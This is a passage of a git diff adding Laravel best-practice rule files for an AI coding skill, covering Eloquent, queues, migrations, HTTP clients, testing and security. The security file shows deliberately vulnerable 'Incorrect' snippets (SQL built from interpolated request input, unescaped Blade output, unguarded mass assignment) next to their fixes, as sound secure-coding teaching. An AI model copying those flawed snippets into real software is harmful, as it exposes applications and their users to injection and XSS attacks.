+$posts = Post::withCount('comments')->get();
+foreach ($posts as $post) {
+ echo $post->comments_count;
+}
+```
+
+Conditional counting:
+
+```php
+$posts = Post::withCount([
+ 'comments',
+ 'comments as approved_comments_count' => function ($query) {
+ $query->where('approved', true);
+ },
+])->get();
+```
+
+## Use `cursor()` for Memory-Efficient Iteration
+
+For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator.
+
+Incorrect:
+```php
+$users = User::where('active', true)->get();
+```
+
+Correct:
+```php
+foreach (User::where('active', true)->cursor() as $user) {
+ ProcessUser::dispatch($user->id);
+}
+```
+
+Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records.
+
+## No Queries in Blade Templates
+
+Never execute queries in Blade templates. Pass data from controllers.
+
+Incorrect:
+```blade
+@foreach (User::all() as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
+
+Correct:
+```php
+// Controller
+$users = User::with('profile')->get();
+return view('users.index', compact('users'));
+```
+
+```blade
+@foreach ($users as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/eloquent.md b/.claude/skills/laravel-best-practices/rules/eloquent.md
new file mode 100644
index 000000000..09cd66a05
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/eloquent.md
@@ -0,0 +1,148 @@
+# Eloquent Best Practices
+
+## Use Correct Relationship Types
+
+Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints.
+
+```php
+public function comments(): HasMany
+{
+ return $this->hasMany(Comment::class);
+}
+
+public function author(): BelongsTo
+{
+ return $this->belongsTo(User::class, 'user_id');
+}
+```
+
+## Use Local Scopes for Reusable Queries
+
+Extract reusable query constraints into local scopes to avoid duplication.
+
+Incorrect:
+```php
+$active = User::where('verified', true)->whereNotNull('activated_at')->get();
+$articles = Article::whereHas('user', function ($q) {
+ $q->where('verified', true)->whereNotNull('activated_at');
+})->get();
+```
+
+Correct:
+```php
+public function scopeActive(Builder $query): Builder
+{
+ return $query->where('verified', true)->whereNotNull('activated_at');
+}
+
+// Usage
+$active = User::active()->get();
+$articles = Article::whereHas('user', fn ($q) => $q->active())->get();
+```
+
+## Apply Global Scopes Sparingly
+
+Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy.
+
+Incorrect (global scope for a conditional filter):
+```php
+class PublishedScope implements Scope
+{
+ public function apply(Builder $builder, Model $model): void
+ {
+ $builder->where('published', true);
+ }
+}
+// Now admin panels, reports, and background jobs all silently skip drafts
+```
+
+Correct (local scope you opt into):
+```php
+public function scopePublished(Builder $query): Builder
+{
+ return $query->where('published', true);
+}
+
+Post::published()->paginate(); // Explicit
+Post::paginate(); // Admin sees all
+```
+
+## Define Attribute Casts
+
+Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion.
+
+```php
+protected function casts(): array
+{
+ return [
+ 'is_active' => 'boolean',
+ 'metadata' => 'array',
+ 'total' => 'decimal:2',
+ ];
+}
+```
+
+## Cast Date Columns Properly
+
+Always cast date columns. Use Carbon instances in templates instead of formatting strings manually.
+
+Incorrect:
+```blade
+{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }}
+```
+
+Correct:
+```php
+protected function casts(): array
+{
+ return [
+ 'ordered_at' => 'datetime',
+ ];
+}
+```
+
+```blade
+{{ $order->ordered_at->toDateString() }}
+{{ $order->ordered_at->format('m-d') }}
+```
+
+## Use `whereBelongsTo()` for Relationship Queries
+
+Cleaner than manually specifying foreign keys.
+
+Incorrect:
+```php
+Post::where('user_id', $user->id)->get();
+```
+
+Correct:
+```php
+Post::whereBelongsTo($user)->get();
+Post::whereBelongsTo($user, 'author')->get();
+```
+
+## Avoid Hardcoded Table Names in Queries
+
+Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string).
+
+Incorrect:
+```php
+DB::table('users')->where('active', true)->get();
+
+$query->join('companies', 'companies.id', '=', 'users.company_id');
+
+DB::select('SELECT * FROM orders WHERE status = ?', ['pending']);
+```
+
+Correct — reference the model's table:
+```php
+DB::table((new User)->getTable())->where('active', true)->get();
+
+// Even better — use Eloquent or the query builder instead of raw SQL
+User::where('active', true)->get();
+Order::where('status', 'pending')->get();
+```
+
+Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable.
+
+**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration.
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/error-handling.md b/.claude/skills/laravel-best-practices/rules/error-handling.md
new file mode 100644
index 000000000..bb8e7a387
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/error-handling.md
@@ -0,0 +1,72 @@
+# Error Handling Best Practices
+
+## Exception Reporting and Rendering
+
+There are two valid approaches — choose one and apply it consistently across the project.
+
+**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find:
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function report(): void { /* custom reporting */ }
+
+ public function render(Request $request): Response
+ {
+ return response()->view('errors.invalid-order', status: 422);
+ }
+}
+```
+
+**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture:
+
+```php
+->withExceptions(function (Exceptions $exceptions) {
+ $exceptions->report(function (InvalidOrderException $e) { /* ... */ });
+ $exceptions->render(function (InvalidOrderException $e, Request $request) {
+ return response()->view('errors.invalid-order', status: 422);
+ });
+})
+```
+
+Check the existing codebase and follow whichever pattern is already established.
+
+## Use `ShouldntReport` for Exceptions That Should Never Log
+
+More discoverable than listing classes in `dontReport()`.
+
+```php
+class PodcastProcessingException extends Exception implements ShouldntReport {}
+```
+
+## Throttle High-Volume Exceptions
+
+A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type.
+
+## Enable `dontReportDuplicates()`
+
+Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks.
+
+## Force JSON Error Rendering for API Routes
+
+Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes.
+
+```php
+$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) {
+ return $request->is('api/*') || $request->expectsJson();
+});
+```
+
+## Add Context to Exception Classes
+
+Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry.
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function context(): array
+ {
+ return ['order_id' => $this->orderId];
+ }
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/events-notifications.md b/.claude/skills/laravel-best-practices/rules/events-notifications.md
new file mode 100644
index 000000000..bc43f1997
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/events-notifications.md
@@ -0,0 +1,48 @@
+# Events & Notifications Best Practices
+
+## Rely on Event Discovery
+
+Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`.
+
+## Run `event:cache` in Production Deploy
+
+Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`.
+
+## Use `ShouldDispatchAfterCommit` Inside Transactions
+
+Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet.
+
+```php
+class OrderShipped implements ShouldDispatchAfterCommit {}
+```
+
+## Always Queue Notifications
+
+Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response.
+
+```php
+class InvoicePaid extends Notification implements ShouldQueue
+{
+ use Queueable;
+}
+```
+
+## Use `afterCommit()` on Notifications in Transactions
+
+Same race condition as events — the queued notification job may run before the transaction commits.
+
+## Route Notification Channels to Dedicated Queues
+
+Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues.
+
+## Use On-Demand Notifications for Non-User Recipients
+
+Avoid creating dummy models to send notifications to arbitrary addresses.
+
+```php
+Notification::route('mail', 'admin@example.com')->notify(new SystemAlert());
+```
+
+## Implement `HasLocalePreference` on Notifiable Models
+
+Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed.
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/http-client.md b/.claude/skills/laravel-best-practices/rules/http-client.md
new file mode 100644
index 000000000..0a7876ed3
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/http-client.md
@@ -0,0 +1,160 @@
+# HTTP Client Best Practices
+
+## Always Set Explicit Timeouts
+
+The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users');
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->connectTimeout(3)
+ ->get('https://api.example.com/users');
+```
+
+For service-specific clients, define timeouts in a macro:
+
+```php
+Http::macro('github', function () {
+ return Http::baseUrl('https://api.github.com')
+ ->timeout(10)
+ ->connectTimeout(3)
+ ->withToken(config('services.github.token'));
+});
+
+$response = Http::github()->get('/repos/laravel/framework');
+```
+
+## Use Retry with Backoff for External APIs
+
+External APIs have transient failures. Use `retry()` with increasing delays.
+
+Incorrect:
+```php
+$response = Http::post('https://api.stripe.com/v1/charges', $data);
+
+if ($response->failed()) {
+ throw new PaymentFailedException('Charge failed');
+}
+```
+
+Correct:
+```php
+$response = Http::retry([100, 500, 1000])
+ ->timeout(10)
+ ->post('https://api.stripe.com/v1/charges', $data);
+```
+
+Only retry on specific errors:
+
+```php
+$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) {
+ return $exception instanceof ConnectionException
+ || ($exception instanceof RequestException && $exception->response->serverError());
+})->post('https://api.example.com/data');
+```
+
+## Handle Errors Explicitly
+
+The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`.
+
+Incorrect:
+```php
+$response = Http::get('https://api.example.com/users/1');
+$user = $response->json(); // Could be an error body
+```
+
+Correct:
+```php
+$response = Http::timeout(5)
+ ->get('https://api.example.com/users/1')
+ ->throw();
+
+$user = $response->json();
+```
+
+For graceful degradation:
+
+```php
+$response = Http::get('https://api.example.com/users/1');
+
+if ($response->successful()) {
+ return $response->json();
+}
+
+if ($response->notFound()) {
+ return null;
+}
+
+$response->throw();
+```
+
+## Use Request Pooling for Concurrent Requests
+
+When making multiple independent API calls, use `Http::pool()` instead of sequential calls.
+
+Incorrect:
+```php
+$users = Http::get('https://api.example.com/users')->json();
+$posts = Http::get('https://api.example.com/posts')->json();
+$comments = Http::get('https://api.example.com/comments')->json();
+```
+
+Correct:
+```php
+use Illuminate\Http\Client\Pool;
+
+$responses = Http::pool(fn (Pool $pool) => [
+ $pool->as('users')->get('https://api.example.com/users'),
+ $pool->as('posts')->get('https://api.example.com/posts'),
+ $pool->as('comments')->get('https://api.example.com/comments'),
+]);
+
+$users = $responses['users']->json();
+$posts = $responses['posts']->json();
+```
+
+## Fake HTTP Calls in Tests
+
+Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`.
+
+Incorrect:
+```php
+it('syncs user from API', function () {
+ $service = new UserSyncService;
+ $service->sync(1); // Hits the real API
+});
+```
+
+Correct:
+```php
+it('syncs user from API', function () {
+ Http::preventStrayRequests();
+
+ Http::fake([
+ 'api.example.com/users/1' => Http::response([
+ 'name' => 'John Doe',
+ 'email' => 'john@example.com',
+ ]),
+ ]);
+
+ $service = new UserSyncService;
+ $service->sync(1);
+
+ Http::assertSent(function (Request $request) {
+ return $request->url() === 'https://api.example.com/users/1';
+ });
+});
+```
+
+Test failure scenarios too:
+
+```php
+Http::fake([
+ 'api.example.com/*' => Http::failedConnection(),
+]);
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/mail.md b/.claude/skills/laravel-best-practices/rules/mail.md
new file mode 100644
index 000000000..c7f67966e
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/mail.md
@@ -0,0 +1,27 @@
+# Mail Best Practices
+
+## Implement `ShouldQueue` on the Mailable Class
+
+Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it.
+
+## Use `afterCommit()` on Mailables Inside Transactions
+
+A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor.
+
+## Use `assertQueued()` Not `assertSent()` for Queued Mailables
+
+`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence.
+
+Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`.
+
+Correct: `Mail::assertQueued(OrderShipped::class);`
+
+## Use Markdown Mailables for Transactional Emails
+
+Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag.
+
+## Separate Content Tests from Sending Tests
+
+Content tests: instantiate the mailable directly, call `assertSeeInHtml()`.
+Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`.
+Don't mix them — it conflates concerns and makes tests brittle.
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/migrations.md b/.claude/skills/laravel-best-practices/rules/migrations.md
new file mode 100644
index 000000000..de25aa39c
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/migrations.md
@@ -0,0 +1,121 @@
+# Migration Best Practices
+
+## Generate Migrations with Artisan
+
+Always use `php artisan make:migration` for consistent naming and timestamps.
+
+Incorrect (manually created file):
+```php
+// database/migrations/posts_migration.php ← wrong naming, no timestamp
+```
+
+Correct (Artisan-generated):
+```bash
+php artisan make:migration create_posts_table
+php artisan make:migration add_slug_to_posts_table
+```
+
+## Use `constrained()` for Foreign Keys
+
+Automatic naming and referential integrity.
+
+```php
+$table->foreignId('user_id')->constrained()->cascadeOnDelete();
+
+// Non-standard names
+$table->foreignId('author_id')->constrained('users');
+```
+
+## Never Modify Deployed Migrations
+
+Once a migration has run in production, treat it as immutable. Create a new migration to change the table.
+
+Incorrect (editing a deployed migration):
+```php
+// 2024_01_01_create_posts_table.php — already in production
+$table->string('slug')->unique(); // ← added after deployment
+```
+
+Correct (new migration to alter):
+```php
+// 2024_03_15_add_slug_to_posts_table.php
+Schema::table('posts', function (Blueprint $table) {
+ $table->string('slug')->unique()->after('title');
+});
+```
+
+## Add Indexes in the Migration
+
+Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained()->index();
+ $table->string('status')->index();
+ $table->timestamp('shipped_at')->nullable()->index();
+ $table->timestamps();
+});
+```
+
+## Mirror Defaults in Model `$attributes`
+
+When a column has a database default, mirror it in the model so new instances have correct values before saving.
+
+```php
+// Migration
+$table->string('status')->default('pending');
+
+// Model
+protected $attributes = [
+ 'status' => 'pending',
+];
+```
+
+## Write Reversible `down()` Methods by Default
+
+Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments.
+
+```php
+public function down(): void
+{
+ Schema::table('posts', function (Blueprint $table) {
+ $table->dropColumn('slug');
+ });
+}
+```
+
+For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported.
+
+## Keep Migrations Focused
+
+One concern per migration. Never mix DDL (schema changes) and DML (data manipulation).
+
+Incorrect (partial failure creates unrecoverable state):
+```php
+public function up(): void
+{
+ Schema::create('settings', function (Blueprint $table) { ... });
+ DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+}
+```
+
+Correct (separate migrations):
+```php
+// Migration 1: create_settings_table
+Schema::create('settings', function (Blueprint $table) { ... });
+
+// Migration 2: seed_default_settings
+DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']);
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/queue-jobs.md b/.claude/skills/laravel-best-practices/rules/queue-jobs.md
new file mode 100644
index 000000000..d4575aac0
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/queue-jobs.md
@@ -0,0 +1,146 @@
+# Queue & Job Best Practices
+
+## Set `retry_after` Greater Than `timeout`
+
+If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution.
+
+Incorrect (`retry_after` ≤ `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 90 ← job retried while still running!
+```
+
+Correct (`retry_after` > `timeout`):
+```php
+class ProcessReport implements ShouldQueue
+{
+ public $timeout = 120;
+}
+
+// config/queue.php — retry_after: 180 ← safely longer than any job timeout
+```
+
+## Use Exponential Backoff
+
+Use progressively longer delays between retries to avoid hammering failing services.
+
+Incorrect (fixed retry interval):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ // Default: retries immediately, overwhelming the API
+}
+```
+
+Correct (exponential backoff):
+```php
+class SyncWithStripe implements ShouldQueue
+{
+ public $tries = 3;
+ public $backoff = [1, 5, 10];
+}
+```
+
+## Implement `ShouldBeUnique`
+
+Prevent duplicate job processing.
+
+```php
+class GenerateInvoice implements ShouldQueue, ShouldBeUnique
+{
+ public function uniqueId(): string
+ {
+ return $this->order->id;
+ }
+
+ public $uniqueFor = 3600;
+}
+```
+
+## Always Implement `failed()`
+
+Handle errors explicitly — don't rely on silent failure.
+
+```php
+public function failed(?Throwable $exception): void
+{
+ $this->podcast->update(['status' => 'failed']);
+ Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]);
+}
+```
+
+## Rate Limit External API Calls in Jobs
+
+Use `RateLimited` middleware to throttle jobs calling third-party APIs.
+
+```php
+public function middleware(): array
+{
+ return [new RateLimited('external-api')];
+}
+```
+
+## Batch Related Jobs
+
+Use `Bus::batch()` when jobs should succeed or fail together.
+
+```php
+Bus::batch([
+ new ImportCsvChunk($chunk1),
+ new ImportCsvChunk($chunk2),
+])
+->then(fn (Batch $batch) => Notification::send($user, new ImportComplete))
+->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed'))
+->dispatch();
+```
+
+## `retryUntil()` Needs `$tries = 0`
+
+When using time-based retry limits, set `$tries = 0` to avoid premature failure.
+
+```php
+public $tries = 0;
+
+public function retryUntil(): DateTime
+{
+ return now()->addHours(4);
+}
+```
+
+## Use `WithoutOverlapping::untilProcessing()`
+
+Prevents concurrent execution while allowing new instances to queue.
+
+```php
+public function middleware(): array
+{
+ return [new WithoutOverlapping($this->product->id)->untilProcessing()];
+}
+```
+
+Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts.
+
+## Use Horizon for Complex Queue Scenarios
+
+Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities.
+
+```php
+// config/horizon.php
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['high', 'default', 'low'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+ ],
+],
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/routing.md b/.claude/skills/laravel-best-practices/rules/routing.md
new file mode 100644
index 000000000..e288375d7
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/routing.md
@@ -0,0 +1,98 @@
+# Routing & Controllers Best Practices
+
+## Use Implicit Route Model Binding
+
+Let Laravel resolve models automatically from route parameters.
+
+Incorrect:
+```php
+public function show(int $id)
+{
+ $post = Post::findOrFail($id);
+}
+```
+
+Correct:
+```php
+public function show(Post $post)
+{
+ return view('posts.show', ['post' => $post]);
+}
+```
+
+## Use Scoped Bindings for Nested Resources
+
+Enforce parent-child relationships automatically.
+
+```php
+Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) {
+ // $post is automatically scoped to $user
+})->scopeBindings();
+```
+
+## Use Resource Controllers
+
+Use `Route::resource()` or `apiResource()` for RESTful endpoints.
+
+```php
+Route::resource('posts', PostController::class);
+Route::apiResource('api/posts', Api\PostController::class);
+```
+
+## Keep Controllers Thin
+
+Aim for under 10 lines per method. Extract business logic to action or service classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $validated = $request->validate([...]);
+ if ($request->hasFile('image')) {
+ $request->file('image')->move(public_path('images'));
+ }
+ $post = Post::create($validated);
+ $post->tags()->sync($validated['tags']);
+ event(new PostCreated($post));
+ return redirect()->route('posts.show', $post);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request, CreatePostAction $create)
+{
+ $post = $create->execute($request->validated());
+
+ return redirect()->route('posts.show', $post);
+}
+```
+
+## Type-Hint Form Requests
+
+Type-hinting Form Requests triggers automatic validation and authorization before the method executes.
+
+Incorrect:
+```php
+public function store(Request $request): RedirectResponse
+{
+ $validated = $request->validate([
+ 'title' => ['required', 'max:255'],
+ 'body' => ['required'],
+ ]);
+
+ Post::create($validated);
+
+ return redirect()->route('posts.index');
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request): RedirectResponse
+{
+ Post::create($request->validated());
+
+ return redirect()->route('posts.index');
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/scheduling.md b/.claude/skills/laravel-best-practices/rules/scheduling.md
new file mode 100644
index 000000000..dfaefa26f
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/scheduling.md
@@ -0,0 +1,39 @@
+# Task Scheduling Best Practices
+
+## Use `withoutOverlapping()` on Variable-Duration Tasks
+
+Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion.
+
+## Use `onOneServer()` on Multi-Server Deployments
+
+Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached).
+
+## Use `runInBackground()` for Concurrent Long Tasks
+
+By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes.
+
+## Use `environments()` to Restrict Tasks
+
+Prevent accidental execution of production-only tasks (billing, reporting) on staging.
+
+```php
+Schedule::command('billing:charge')->monthly()->environments(['production']);
+```
+
+## Use `takeUntilTimeout()` for Time-Bounded Processing
+
+A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time.
+
+## Use Schedule Groups for Shared Configuration
+
+Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks.
+
+```php
+Schedule::daily()
+ ->onOneServer()
+ ->timezone('America/New_York')
+ ->group(function () {
+ Schedule::command('emails:send --force');
+ Schedule::command('emails:prune');
+ });
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/security.md b/.claude/skills/laravel-best-practices/rules/security.md
new file mode 100644
index 000000000..524d47e61
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/security.md
@@ -0,0 +1,198 @@
+# Security Best Practices
+
+## Mass Assignment Protection
+
+Every model must define `$fillable` (whitelist) or `$guarded` (blacklist).
+
+Incorrect:
+```php
+class User extends Model
+{
+ protected $guarded = []; // All fields are mass assignable
+}
+```
+
+Correct:
+```php
+class User extends Model
+{
+ protected $fillable = [
+ 'name',
+ 'email',
+ 'password',
+ ];
+}
+```
+
+Never use `$guarded = []` on models that accept user input.
+
+## Authorize Every Action
+
+Use policies or gates in controllers. Never skip authorization.
+
+Incorrect:
+```php
+public function update(Request $request, Post $post)
+{
+ $post->update($request->validated());
+}
+```
+
+Correct:
+```php
+public function update(UpdatePostRequest $request, Post $post)
+{
+ Gate::authorize('update', $post);
+
+ $post->update($request->validated());
+}
+```
+
+Or via Form Request:
+
+```php
+public function authorize(): bool
+{
+ return $this->user()->can('update', $this->route('post'));
+}
+```
+
+## Prevent SQL Injection
+
+Always use parameter binding. Never interpolate user input into queries.
+
+Incorrect:
+```php
+DB::select("SELECT * FROM users WHERE name = '{$request->name}'");
+```
+
+Correct:
+```php
+User::where('name', $request->name)->get();
+
+// Raw expressions with bindings
+User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get();
+```
+
+## Escape Output to Prevent XSS
+
+Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content.
+
+Incorrect:
+```blade
+{!! $user->bio !!}
+```
+
+Correct:
+```blade
+{{ $user->bio }}
+```
+
+## CSRF Protection
+
+Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia.
+
+Incorrect:
+```blade
+
+```
+
+Correct:
+```blade
+
+```
+
+## Rate Limit Auth and API Routes
+
+Apply `throttle` middleware to authentication and API routes.
+
+```php
+RateLimiter::for('login', function (Request $request) {
+ return Limit::perMinute(5)->by($request->ip());
+});
+
+Route::post('/login', LoginController::class)->middleware('throttle:login');
+```
+
+## Validate File Uploads
+
+Validate MIME type, extension, and size. Never trust client-provided filenames.
+
+```php
+public function rules(): array
+{
+ return [
+ 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'],
+ ];
+}
+```
+
+Store with generated filenames:
+
+```php
+$path = $request->file('avatar')->store('avatars', 'public');
+```
+
+## Keep Secrets Out of Code
+
+Never commit `.env`. Access secrets via `config()` only.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'api_key' => env('API_KEY'),
+
+// In application code
+$key = config('services.api_key');
+```
+
+## Audit Dependencies
+
+Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment.
+
+```bash
+composer audit
+```
+
+## Encrypt Sensitive Database Fields
+
+Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`.
+
+Incorrect:
+```php
+class Integration extends Model
+{
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'string',
+ ];
+ }
+}
+```
+
+Correct:
+```php
+class Integration extends Model
+{
+ protected $hidden = ['api_key', 'api_secret'];
+
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'encrypted',
+ 'api_secret' => 'encrypted',
+ ];
+ }
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/style.md b/.claude/skills/laravel-best-practices/rules/style.md
new file mode 100644
index 0000000000000000000000000000000000000000..db689bf774d1763ac3ec520a3874015f5421ff5b
GIT binary patch
literal 4443
zcmb7H|8g6*5$@mj6gxJXBU_TPGV!!SM{H%Ls*_r-YD&%@j)w&AKoK^0I0HCRY@C@s
zM4zxv(rqc3Rg4_YS46<&Z-l2$9V!-oHYUfv=K_C|PowZt|LcB75;$1eTUe78Vh&a+E%-f!B^_a3OyuOh!1j+3CF~xh&C6Q
z*=`XQmT8HzBMo|P)XsSFwYJu8q05a}Nq8>Un^s}fxWXTc+D!ClW^}bJz?`D4gwP={HL5A^SnD#A?)(C5LRZ
zR@zG|^YKcHT#n048H9Q7>X){{QHr&?hq_KiVE^8jd(B0!WswWps*3d4DH&@1R8(75
z(o_>v@X2ovWz1l+2v>~J<^>HjOLin4++uISp>Q7sc=
zww6}<$`&|bt}L=XnXE+ip&z}g_gV`3HWN5EPEweC&DDJI?qyj{CR+efKb>jeTy0sD
zWtYI5qv?KwV!+7*dZa^2FYxC)TK@TN*ocD0=F&btK-5a%Wxf!e#ktaJd!wnwhV#M0
z|0*OpGDbs1S7xm&uSe55UhMTw=n7u9VGYd&_0x8mxwqVDzMxBM#erT(T>>Yi70@@Er6gkS%swHiLEM*)?2zc&R!b$)u{^0DPCWn-5getf^
zqwL-7)#&%+#9FdML00VP=EV)It0I7c8`GuUi-V&wR=MBE?KnxIkV45w0(RotSq(2
z5JBRcjqs-zn!;f43?h8rSf*Nmx8L*f!4K&P%HqkB0gWjgkH;zaLPU;y;I-Mt_EVJK
z5225`U*USQfgjQV7uBs9|qK
z8N(d$vlHhUP>F9>t{hc!
zpk(1NTthYH##aU%kYRXf1Z5TJ#a|1EE=6q<>`nN5$zBCL1$xV1li$&!Wm{EWjJgF+mOY
z2m}FlAue$xtpY2C90Ue9gpB9NU51F{eEN|$BM6k3O;JN_tnZ3KW*Cu$J)pVA7jKfx
zaAd+LQR$pk$3cm3G=+DZ*%xEtGUz;w>gE-uon7-1V<>b8zw_u7Tofqy@TeZsE$W5A
zjUuG+Q%gDQht~?1jCf*ZqtdaFudezoDD5U(J5b>JS*l%5P?3c6WmL#(LhH_DBsfbQ>Dd4CXi
F{|%Ge#T5Vm
literal 0
HcmV?d00001
diff --git a/.claude/skills/laravel-best-practices/rules/testing.md b/.claude/skills/laravel-best-practices/rules/testing.md
new file mode 100644
index 000000000..d39cc3ed0
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/testing.md
@@ -0,0 +1,43 @@
+# Testing Best Practices
+
+## Use `LazilyRefreshDatabase` Over `RefreshDatabase`
+
+`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites.
+
+## Use Model Assertions Over Raw Database Assertions
+
+Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);`
+
+Correct: `$this->assertModelExists($user);`
+
+More expressive, type-safe, and fails with clearer messages.
+
+## Use Factory States and Sequences
+
+Named states make tests self-documenting. Sequences eliminate repetitive setup.
+
+Incorrect: `User::factory()->create(['email_verified_at' => null]);`
+
+Correct: `User::factory()->unverified()->create();`
+
+## Use `Exceptions::fake()` to Assert Exception Reporting
+
+Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally.
+
+## Call `Event::fake()` After Factory Setup
+
+Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models.
+
